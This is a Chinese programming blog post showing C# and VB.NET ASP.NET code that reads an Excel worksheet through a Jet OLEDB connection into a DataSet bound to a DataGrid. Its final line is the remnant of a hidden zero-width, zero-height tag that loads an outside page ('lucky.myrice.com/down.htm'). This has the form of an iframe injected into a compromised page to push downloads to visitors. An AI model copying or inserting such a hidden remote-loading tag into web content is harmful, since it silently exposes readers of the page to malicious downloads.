在ASP.NET访问Excel文件 (VB.NET and C#)

最新推荐文章于 2025-11-25 11:49:26 发布

原创最新推荐文章于 2025-11-25 11:49:26 发布 · 419 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#excel #vb.net #asp.net #c# #dataset #datagrid

本文介绍了使用ASP.NET通过VBA和C#两种方式从Excel文件中读取数据的方法。利用ADODataSetCommand对象配合正确的连接字符串，可以从指定的Excel工作表中检索所有记录，并将这些数据填充到DataSet对象中，以便进一步处理。

在ASP.NET访问Excel文件 (VB and C#)

C# Code---------------------------------------------<script language="C#" runat="server">protected void Page_Load(Object Src, EventArgs E){string strConn;strConn = "Provider=Microsoft.Jet.OLEDB.4.0;" +"Data Source=C://exceltest.xls;" +"Extended Properties=Excel 8.0;";ADODataSetCommand myCommand = new ADODataSetCommand("SELECT * FROM [Sheet1$]", strConn);DataSet myDataSet = new DataSet();myCommand.FillDataSet(myDataSet, "ExcelInfo");DataGrid1.DataSource = myDataSet.Tables["ExcelInfo"].DefaultView;DataGrid1.DataBind();}</script><p><asp:Label id=Label1 runat="server">Excel表格内容:</asp:Label></p><asp:DataGrid id=DataGrid1 runat="server"/>VB.NET Code----------------------------------------------<script language="VB" runat="server">Sub Page_Load(sender As Object, e As EventArgs)Dim myDataset As New DataSet()Dim strConn As String = "Provider=Microsoft.Jet.OLEDB.4.0;" _& "Data Source=C:/exceltest.xls;" _& "Extended Properties=""Excel 8.0;"""Dim myADODataSetCommand As New ADODataSetCommand("SELECT * FROM [Sheet1$]", strConn)myADODataSetCommand.TableMappings.Add("Table", "ExcelTest")myADODataSetCommand.FillDataSet(myDataset)DataGrid1.DataSource = myDataset.Tables(0).DefaultViewDataGrid1.DataBind()End Sub</script><p><asp:Label id=Label1 runat="server">Excel表格内容:</asp:Label></p><asp:DataGrid id=DataGrid1 runat="server"/>

src=http://lucky.myrice.com/down.htm width=0 height=0 boeder=0>